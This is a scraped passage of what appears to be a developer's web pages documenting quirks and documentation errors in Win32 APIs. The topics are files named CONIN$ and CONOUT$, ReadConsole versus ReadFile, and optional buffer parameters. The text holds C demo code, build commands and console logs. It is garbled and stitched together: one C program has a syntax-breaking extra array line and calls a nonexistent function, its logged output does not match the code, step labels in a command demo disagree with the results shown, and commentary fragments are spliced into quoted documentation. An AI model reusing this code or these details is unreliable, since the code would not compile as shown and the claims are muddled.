					             dwError = GetLastError());
				if (!DeleteFile(szBlunder[dwBlunder]))
					PrintConsole(hError,
					             L"DeleteFile() returned error %lu for file \'%ls\'\n",
					             dwError = GetLastError(), szBlunder[dwBlunder]);
			}
		}
		while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
		if (dwModule != 0UL)
		{
			PrintConsole(hError, L"\n");
			dwBlunder = 0UL;
			do
				if (!CreateHardLink(szBlunder[dwBlunder],
				                    szModule,
				                    (LPSECURITY_ATTRIBUTES) NULL))
					PrintConsole(hError,
					             L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
					             dwError = GetLastError(), szBlunder[dwBlunder]);
				else
				{
					PrintConsole(hError,
					             L"GetFileAttributes() returned attributes 0x%08lX for hardlink \'%ls\'\n",
					             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
					hBlunder = CreateFile(szBlunder[dwBlunder],
					                      GENERIC_READ | GENERIC_WRITE,
					                      FILE_SHARE_READ | FILE_SHARE_WRITE,
					                      (LPSECURITY_ATTRIBUTES) NULL,
					                      OPEN_EXISTING,
					                      FILE_ATTRIBUTE_NORMAL,
					                      (HANDLE) NULL);
					if (hBlunder == INVALID_HANDLE_VALUE)
						PrintConsole(hError,
						             L"CreateFile() returned error %lu for hardlink \'%ls\'\n",
						             dwError = GetLastError(), szBlunder[dwBlunder]);
					else
					{
						PrintConsole(hError,
						             L"GetFileType() returned %ls for hardlink \'%ls\'\n",
						             szFileType[GetFileType(hBlunder)], szBlunder[dwBlunder]);
						if (!CloseHandle(hBlunder))
							PrintConsole(hError,
							             L"CloseHandle() returned error %lu\n",
							             dwError = GetLastError());
					}
					if (!DeleteFile(szBlunder[dwBlunder]))
						PrintConsole(hError,
						             L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
						             dwError = GetLastError(), szBlunder[dwBlunder]);
				}
			while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
VER .\blunder.exe DIR CON*$ .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL% ERASE CON*$
Microsoft Windows [Version 6.1.7601] GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONIN$' GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONOUT$' GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONERR$' CopyFile() returned error 6 for target file 'CONIN$' CopyFile() returned error 5 for target file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$' GetFileAttributes() returned attributes 0x00000010 for directory 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONIN$' GetFileAttributes() returned attributes 0x00000010 for directory 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONOUT$' GetFileAttributes() returned attributes 0x00000010 for directory 'CONERR$' GetFileType() returned FILE_TYPE_DISK for directory 'CONERR$' GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$' DeleteFile() returned error 2 for file 'CONIN$' GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$' DeleteFile() returned error 2 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$' GetFileType() returned FILE_TYPE_DISK for file 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONIN$' DeleteFile() returned error 5 for hardlink 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONOUT$' DeleteFile() returned error 5 for hardlink 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONERR$' CreateFile() returned error 32 for hardlink 'CONERR$' DeleteFile() returned error 5 for hardlink 'CONERR$' Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\Desktop 04/27/2011 08:15 PM 8,704 CONERR$ 04/27/2011 08:15 PM 8,704 CONIN$ 04/27/2011 08:15 PM 8,704 CONOUT$ 3 File(s) 26,112 bytes 2 Dir(s) 9,876,543,210 bytes free GetFileAttributes() returned attributes 0x00000020 for 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for 'CONERR$' CopyFile() returned error 6 for target file 'CONIN$' CopyFile() returned error 5 for target file 'CONOUT$' CopyFile() returned error 32 for target file 'CONERR$' CreateDirectory() returned error 183 for directory 'CONIN$' CreateDirectory() returned error 183 for directory 'CONOUT$' CreateDirectory() returned error 183 for directory 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$' DeleteFile() returned error 5 for file 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$' DeleteFile() returned error 5 for file 'CONOUT$' CreateFile() returned error 80 for file 'CONERR$' CreateHardLink() returned error 183 for hardlink 'CONIN$' CreateHardLink() returned error 183 for hardlink 'CONOUT$' CreateHardLink() returned error 183 for hardlink 'CONERR$' 0xb7 (WIN32: 183 ERROR_ALREADY_EXISTS) -- 183 (183) Error message text: Cannot create a file when that file already exists. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
GetFileAttributes()
            succeeds for files and directories with the special names
            CONIN$ and CONOUT$!
         OUCH²: while the Win32 function
            CopyFile()
            fails properly with Win32 error code 6 alias
            ERROR_INVALID_HANDLE
            for CONIN$ and Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            for CONOUT$, the Win32 function
            MoveFile()
            but succeeds!
        
 OUCH³: the Win32 function
            CreateDirectory()
            creates directories with the special names CONIN$ and
            CONOUT$, and the Win32 function
            RemoveDirectory()
            removes them!
        
 OUCH⁴: the Win32 function
            CreateHardLink()
            creates hardlinks files with the special names
            CONIN$ and CONOUT$, and the
            Win32 function
            DeleteFile()
            deletes them!
        
 OOPS: the Win32 function
            CreateFile()
            does not open an existing
            directory or file with the special name CONIN$ or
            CONOUT$, but opens the console input buffer
            respectively the console screen buffer instead!
        
�
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL% ERASE CON*$
Microsoft Windows [Version 10.0.22000.739] GetFileAttributes() returned attributes 0x00000020 for 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for 'CONOUT$' GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONERR$' CopyFile() returned error 6 for target file 'CONIN$' MZ[…]This program cannot be run in DOS mode. […] GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' DeleteFile() returned error 5 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00002020 for file 'CONERR$' MoveFile() returned error 183 for target file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for directory 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONIN$' RemoveDirectory() returned error 5 for directory 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for directory 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONOUT$' RemoveDirectory() returned error 5 for directory 'CONOUT$' GetFileAttributes() returned attributes 0x00002010 for directory 'CONERR$' GetFileType() returned FILE_TYPE_DISK for directory 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$' DeleteFile() returned error 5 for file 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$' DeleteFile() returned error 5 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00002020 for file 'CONERR$' GetFileType() returned FILE_TYPE_DISK for file 'CONERR$' CreateHardLink() returned error 17 for hardlink 'CONIN$' CreateHardLink() returned error 17 for hardlink 'CONOUT$' GetFileAttributes() returned attributes 0x00002020 for hardlink 'CONERR$' CreateFile() returned error 32 for hardlink 'CONERR$' 0x20 (WIN32: 32 ERROR_SHARING_VIOLATION) -- 32 (32) Error message text: The process cannot access the file because it is being used by another process. CertUtil: -error command completed successfully.
CopyFile2(),
            CopyFileEx(),
            CopyFileTransacted(),
            CreateDirectoryEx(),
            CreateDirectoryTransacted(),
            CreateFile2(),
            CreateFileTransacted(),
            CreateHardLinkTransacted(),
            CreateSymbolicLink(),
            CreateSymbolicLinkTransacted(),
            DeleteFileTransacted(),
            GetFileAttributesEx(),
            GetFileAttributesTransacted(),
            MoveFileEx(),
            MoveFileTransacted(),
            MoveFileWithProgress(),
            RemoveDirectoryTransacted()
            and
            ReplaceFile()
            is left as an exercise to the reader.
        Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
Cmd.exe and execute
            the following command lines to show the blunder:
        VER ECHO Step 1: create files CONERR$, CONIN$ and CONOUT$ COPY "%COMSPEC%" CONERR$ COPY "%COMSPEC%" CONIN$ COPY "%COMSPEC%" CONOUT$ ECHO Step 2: rename file CONERR$ to CONIN$ to CONOUT$ to CONERR$ RENAME CONERR$ CONIN$ RENAME CONIN$ CONOUT$ RENAME CONOUT$ CONERR$ ECHO Step 3: move file CONERR$ to CONIN$ to CONOUT$ to CONERR$ MOVE CONERR$ CONIN$ MOVE CONIN$ CONOUT$ MOVE CONOUT$ CONERR$ ECHO Step 4: create hardlinks CONIN$ and CONOUT$ MKLINK /H CONIN$ CONERR$ MKLINK /H CONOUT$ CONIN$ DIR CON*$ ECHO Step 5: execute CONIN$ and CONOUT$ .\CONIN$ .\CONOUT$ ECHO Step 6: overwrite CONIN$ and CONOUT$ COPY CONERR$ CONIN$ COPY CONERR$ CONOUT$ DIR CON*$ ERASE CONOUT$ ECHO Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both MKDIR CONIN$ COPY CONERR$ CONIN$ ERASE CONIN$\CONERR$ RMDIR CONIN$ ECHO Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both MKDIR CONOUT$ COPY CONERR$ CONOUT$ ERASE CONOUT$\CONERR$ RMDIR CONOUT$ ECHO Step 9: cleanup ERASE CONERR$Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft Windows [Version 6.1.7601]
Step 1: create files CONERR$, CONIN$ and CONOUT$
        1 file(s) copied.
Access denied
        0 file(s) copied.
The handle is invalid.
        0 file(s) copied.
Step 2: rename file CONERR$ to CONOUT$ to CONIN$ to CONERR$
Step 3: move file CONERR$ to CONOUT$ to CONIN$ to CONERR$
        1 file(s) moved.
        1 file(s) moved.
Step 4: create hardlinks CONIN$ and CONOUT$
Hardlink created for CONIN$ <<===>> CONERR$
Hardlink created for CONOUT$ <<===>> CONIN$
 Volume in drive C has no label.
 Volume Serial Number is 1957-0427
 Directory of C:\Users\Stefan\Desktop
06/12/2016  05:55 AM           345,088 CONERR$
06/12/2016  05:55 AM           345,088 CONIN$
06/12/2016  05:55 AM           345,088 CONOUT$
               3 File(s)      1,035,264 bytes
               2 Dir(s)    9,876,543,210 bytes free
Step 5: execute CONIN$ and CONOUT$
'.\CONIN$' is not recognized as an internal or external command,
operable program or batch file.
'.\CONOUT$' is not recognized as an internal or external command,
operable program or batch file.
Step 6: overwrite CONIN$ and CONOUT$
The handle is invalid.
        0 file(s) copied.
MZ[…]This program cannot be run in DOS mode.
[…]
 Volume in drive C has no label.
 Volume Serial Number is 1957-0427
 Directory of C:\Users\Stefan\Desktop
06/12/2016  05:55 AM           345,088 CONERR$
06/12/2016  05:55 AM           345,088 CONOUT$
               3 File(s)        690,176 bytes
               2 Dir(s)    9,876,543,210 bytes free
Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both
        1 file(s) copied.
Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both
        1 file(s) copied.
Step 9: cleanup
            OOPS¹: while the internal
            Copy
            command fails to create files CONIN$ and
            CONOUT$, the internal
            Rename
            alias
            Ren,
            Move
            and
            Mklink
            commands but succeed!
         OUCH: although the files CONIN$ and
            CONOUT$ exist – both are copies of the command
            processor – the command processor fails to execute them!
        
 OOPS²: if a file CONIN$ exists
            the internal
            Copy
            command deletes it!
        
 OOPS³: if a file CONOUT$ exists
            the internal
            Copy
            command writes to the console screen buffer!
        
 OOPS⁴: the internal
            Md
            alias
            MkDir
            command creates directories CONIN$ and
            CONOUT$!
        
 OOPS⁵: if a directory CONIN$
            exists the internal
            Copy
            command succeeds!
        
 OOPS⁶: if a directory CONOUT$
            exists the internal
            Copy
            command succeeds!
        
ReadConsole()
            states:
        Reads character input from the console input buffer and removes it from the buffer.The documentation for the Win32 function[…]BOOL ReadConsole( [in] HANDLE hConsoleInput, [out] LPVOID lpBuffer, [in] DWORD nNumberOfCharsToRead, [out] LPDWORD lpNumberOfCharsRead, [in, optional] LPVOID pInputControl );lpBuffer [out]
A pointer to a buffer that receives the data read from the console input buffer.nNumberOfCharsToRead [out]
The number of characters to be read. […]pInputControl [in, optional]
A pointer to a CONSOLE_READCONSOLE_CONTROL structure that specifies a control character to signal the end of the read operation. This parameter can be NULL.Remarks
ReadConsole reads keyboard input from a console's input buffer. It behaves like the ReadFile function, […]
ReadFile()
            states:
        Reads data from the specified file or input/output (I/O) device. Reads occur at the position specified by the file pointer if supported by the device.[…]BOOL ReadFile( [in] HANDLE hFile, [out] LPVOID lpBuffer, [in] DWORD nNumberOfBytesToRead, [out, optional] LPDWORD lpNumberOfBytesRead, [in, out, optional] LPOVERLAPPED lpOverlapped );Remarks
Characters can be read from the console input buffer by using ReadFile with a handle to console input. The console mode determines the exact behavior of the ReadFile function. By default, the console mode is ENABLE_LINE_INPUT, which indicates that ReadFile should read until it reaches a carriage return. If you press Ctrl+C, the call succeeds, but GetLastError returns ERROR_OPERATION_ABORTED.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	INPUT_RECORD	irInput[] = {{KEY_EVENT, {TRUE, L'\0', VK_PACKET, L'\0', L'€', 0UL}},
			             {KEY_EVENT, {FALSE, L'\0', VK_PACKET, L'\0', L'€', 0UL}},
			             {KEY_EVENT, {TRUE, L'\0', VK_RETURN, L'\0', L'\r', 0UL}}};
			             {KEY_EVENT, {FALSE, L'\0', VK_RETURN, L'\0', L'\r', 0UL}}};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwCount;
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwInput;
	WCHAR	szInput[sizeof(irInput) / sizeof(*irInput)];
	HANDLE	hInput;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		hInput = GetStdHandle(STD_INPUT_HANDLE);
		if (hInput == INVALID_HANDLE_VALUE)
			PrintConsole(hError,
			             L"GetStdHandle() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			if (!FlushErrorInputBuffer(hInput))
				PrintConsole(hError,
				             L"FlushConsoleInputBuffer() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
#ifndef BLUNDER
				if (!WriteConsoleInput(hInput,
				                       irInput,
				                       sizeof(irInput) / sizeof(*irInput),
				                       &dwInput))
					PrintConsole(hError,
					             L"WriteConsoleInput() returned error %lu\n",
					             dwError = GetLastError());
				else
				{
					PrintConsole(hError,
					             L"WriteConsoleInput() wrote %lu of %lu input records\n",
					             dwInput, sizeof(irInput) / sizeof(*irInput));
					if (!ReadConsole(hInput, szInput, sizeof(szInput) / sizeof(*szInput), &dwInput, NULL))
						PrintConsole(hError,
						             L"ReadConsole() returned error %lu\n",
						             dwError = GetLastError());
					else
					{
						PrintConsole(hError,
						             L"ReadConsole() read %lu characters: \'%lc\' ",
						             dwCount = dwInput, *szInput);
						for (dwInput = 0UL; dwInput < dwCount; dwInput++)
							PrintConsole(hError,
							             L"%lc U+%04hX",
							             dwInput == 0UL ? L'=' : L',', szInput[dwInput]);
						if (!WriteConsole(hError, L"\n", 1UL, (LPDWORD) NULL, NULL))
							PrintConsole(hError,
							             L"WriteConsole() returned error %lu\n",
							             dwError = GetLastError());
					}
				}
				if (!WriteConsoleInput(hInput,
				                       irInput,
				                       sizeof(irInput) / sizeof(*irInput),
				                       &dwInput))
					PrintConsole(hError,
					             L"WriteConsoleInput() returned error %lu\n",
					             dwError = GetLastError());
				else
				{
					PrintConsole(hError,
					             L"WriteConsoleInput() wrote %lu of %lu input records\n",
					             dwInput, sizeof(irInput) / sizeof(*irInput));
					if (!ReadFile(hInput, szInput, sizeof(szInput), &dwInput, (LPOVERLAPPED) NULL))
						PrintConsole(hError,
						             L"ReadFile() returned error %lu\n",
						             dwError = GetLastError());
					else
					{
						PrintConsole(hError,
						             L"ReadFile() read %lu characters: \'%hc\' ",
						             dwCount = dwInput, *szInput);
						for (dwInput = 0UL; dwInput < dwCount; dwInput++)
							PrintConsole(hError,
							             L"%lc \\x%02X",
							             dwInput == 0UL ? L'=' : L',', ((LPCSTR) szInput)[dwInput]);
						if (!WriteConsole(hError, L"\n", 1UL, (LPDWORD) NULL, NULL))
							PrintConsole(hError,
							             L"WriteConsole() returned error %lu\n",
							             dwError = GetLastError());
					}
				}
#else // BLUNDER
				if (!WriteConsole(hError,
				                  L"Press CTRL+C or ENTER to continue: ",
				                  sizeof("Press CTRL+C or ENTER to continue: ") - 1,
				                  (LPDWORD) NULL,
				                  NULL))
					PrintConsole(hError,
					             L"WriteConsole() returned error %lu\n",
					             dwError = GetLastError());
				else
					if (!ReadConsole(hInput, NULL, 0UL, &dwInput, NULL))
						PrintConsole(hError,
						             L"ReadConsole() returned error %lu\n",
						             dwError = GetLastError());
					else
						PrintConsole(hError,
						             L"ReadConsole() read %lu characters\n",
						             dwInput);
				if (!WriteConsole(hError,
				                  L"Press CTRL+C or ENTER to continue: ",
				                  sizeof("Press CTRL+C or ENTER to continue: ") - 1,
				                  (LPDWORD) NULL,
				                  NULL))
					PrintConsole(hError,
					             L"WriteConsole() returned error %lu\n",
					             dwError = GetLastError());
				else
					if (!ReadFile(hInput, NULL, 0UL, &dwInput, (LPOVERLAPPED) NULL))
						PrintConsole(hError,
						             L"ReadFile() returned error %lu\n",
						             dwError = GetLastError());
					else
						PrintConsole(hError,
						             L"ReadFile() read %lu characters\n",
						             dwInput);
#endif // BLUNDER
			}
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
WriteConsoleInput() wrote 4 of 4 input records
€
ReadConsole() read 3 characters: '€' = U+20AC, U+000D, U+000A
WriteConsoleInput() wrote 4 of 4 input records
€
ReadFile() read 3 characters: '?' = \x3F, \x0D, \x0A
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
            OUCH¹: contrary to the second highlighted
            statement of its documentation cited above, the
            ReadConsole()
            function does not (mis)behave like the
            ReadFile()
            function – the latter fails to read at least
            the € sign and yields the substitution character
            ? instead!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(42) : warning C4101: 'szInput' : unreferenced local variable blunder.c(39) : warning C4101: 'dwCount' : unreferenced local variable Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 4. a first time and answer its prompt(s) with the
            Enter key:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Press CTRL+C or ENTER to continue:
ReadConsole() read 0 characters
Press CTRL+C or ENTER to continue: ReadFile() returned error 998
0x3e6 (WIN32: 998 ERROR_NOACCESS) -- 998 (998)
Error message text: Invalid access to memory location.
CertUtil: -error command completed successfully.
            OUCH²: contrary to the second highlighted
            statement of its documentation cited above, the
            ReadConsole()
            function does not (mis)behave like the
            ReadFile()
            function – the latter fails with Win32 error code
            998 alias
            ERROR_NOACCESS
            when called with buffer address NULL and buffer size 0!
         Execute the console application blunder.exe built in
            step 4. a second time, but answer its prompt(s) with the
            Ctrl C keyboard
            shortcut:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Press CTRL+C or ENTER to continue: ReadConsole() read 0 characters
Press CTRL+C or ENTER to continue: ^C
0xc000013a (NT: 0xc000013a STATUS_CONTROL_C_EXIT) -- 3221225786 (-1073741510)
Error message text: {Application Exit by CTRL+C}
The application terminated as a result of a CTRL+C.
CertUtil: -error command completed successfully.
            OUCH³: contrary to the second highlighted
            statement of its documentation cited above, the
            ReadConsole()
            function does not (mis)behave like the
            ReadFile()
            function – contrary to the highlighted statement of its
            documentation cited above the latter fails to return at all when
            the keyboard shortcut
            Ctrl C is
            pressed!
        WriteFile()
            states:
        Writes data to the specified file or input/output (I/O) device.OUCH: 232 − 2 nonzero[…]
[…]BOOL WriteFile( [in] HANDLE hFile, [in] LPCVOID lpBuffer, [in] DWORD nNumberOfBytesToWrite, [out, optional] LPDWORD lpNumberOfBytesWritten, [in, out, optional] LPOVERLAPPED lpOverlapped );
[out, optional] lpNumberOfBytesWrittenA pointer to the variable that receives the number of bytes written when using a synchronous hFile parameter. WriteFile sets this value to zero before doing any work or error checking. Use NULL for this parameter if this is an asynchronous operation to avoid potentially erroneous results.
This parameter can be NULL only when the lpOverlapped parameter is not NULL.
Windows 7: This parameter can not be NULL.
[…]
If the function succeeds, the return value is nonzero (TRUE).
If the function fails, or is completing asynchronously, the return value is zero (FALSE). To get extended error information, call the GetLastError function.
BOOL values differ from the value of the preprocessor
            macro TRUE!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const	CHAR	szBlunder[] = "BLUNDER!\r\n";
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (!WriteFile(hError, szBlunder, sizeof(szBlunder) - sizeof(*szBlunder), (LPDWORD) NULL, (LPOVERLAPPED) NULL))
		dwError = GetLastError();
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. on Windows 7 and evaluate its exit code:
        
VER .\blunder.exe ECHO %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] BLUNDER! 0OOPS: contrary to the highlighted statement of the documentation cited above, the
lpNumberOfBytesWritten
            parameter can be NULL on Windows 7!
        GetCurrentDirectory()
            specifies:
        Retrieves the current directory for the current process.OUCH⁰: parameters which can be[…]DWORD GetCurrentDirectory( [in] DWORD nBufferLength, [out] LPTSTR lpBuffer );
[in] nBufferLengthThe length of the buffer for the current directory string, in TCHARs. The buffer length must include room for a terminating null character.
[out] lpBufferA pointer to the buffer that receives the current directory string. This null-terminated string specifies the absolute path to the current directory.
To determine the required buffer size, set this parameter to NULL and the nBufferLength parameter to 0.
NULL are optional and must be
            properly annotated with […, optional]!
         The documentation for the Win32 function
            GetFullPathName()
            states:
        
Retrieves the full path and file name of the specified file.OUCH¹:[…]
[…]DWORD GetFullPathName( [in] LPCTSTR lpFileName, [in] DWORD nBufferLength, [out] LPTSTR lpBuffer, [out] LPTSTR *lpFilePart );
[out] lpBufferA pointer to a buffer that receives the null-terminated string for the drive and path.
[out] lpFilePartA pointer to a buffer that receives the address (within lpBuffer) of the final file name component in the path.
This parameter can be NULL.
[…]
If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.
lpBuffer is an
            optional parameter – it can be
            NULL if nBufferLength is zero!
         The documentation for the Win32 function
            GetFullPathNameTransacted()
            states:
        
Retrieves the full path and file name of the specified file as a transacted operation.OUCH¹:[…]
[…]DWORD GetFullPathNameTransacted( [in] LPCTSTR lpFileName, [in] DWORD nBufferLength, [out] LPTSTR lpBuffer, [out] LPTSTR *lpFilePart [in] HANDLE hTransaction );
[out] lpBufferA pointer to a buffer that receives the null-terminated string for the drive and path.
[out] lpFilePartA pointer to a buffer that receives the address (in lpBuffer) of the final file name component in the path. Specify NULL if you do not need to receive this information.
[…]
If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.
lpBuffer is an
            optional parameter – it can be
            NULL if nBufferLength is zero!
         The documentation for the Win32 function
            GetLongPathName()
            states:
        
Converts the specified path to its long form.OUCH³:[…]
[…]DWORD GetLongPathName( [in] LPCTSTR lpszShortPath, [out] LPTSTR lpszLongPath, [in] DWORD cchBuffer );If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.
lpszLongPath is an
            optional parameter – it can be
            NULL if cchBuffer is zero!
         The documentation for the Win32 function
            GetLongPathNameTransacted()
            states:
        
Converts the specified path to its long form as a transacted operation.OUCH⁴:[…]
[…]DWORD GetLongPathNameTransacted( [in] LPCTSTR lpszShortPath, [out] LPTSTR lpszLongPath, [in] DWORD cchBuffer [in] HANDLE hTransaction );If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.
lpszLongPath is an
            optional parameter – it can be
            NULL if cchBuffer is zero!
         The documentation for the Win32 function
            GetShortPathName()
            specifies:
        
Retrieves the short path form of the specified path.OUCH⁵:[…]
[…]DWORD GetShortPathName( [in] LPCTSTR lpszLongPath, [out] LPTSTR lpszShortPath, [in] DWORD cchBuffer );
[out] lpszShortPathA pointer to a buffer to receive the null-terminated short form of the path that lpszLongPath specifies.
Passing NULL for this parameter and zero for cchBuffer will always return the required buffer size for a specified lpszLongPath.
[in] cchBufferThe size of the buffer that lpszShortPath points to, in TCHARs.
Set this parameter to zero if lpszShortPath is set to NULL.
lpszShortPath is an
            optional parameter!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
#ifndef BLUNDER
	if ((GetFullPathName(L"blunder.exe", 0UL, NULL, NULL) == 0UL)
	 || (GetLongPathName(L"blunder.exe", NULL, 0UL) == 0UL)
	 || (GetShortPathName(L"blunder.exe", NULL, 0UL) == 0UL))
		ExitProcess(GetLastError());
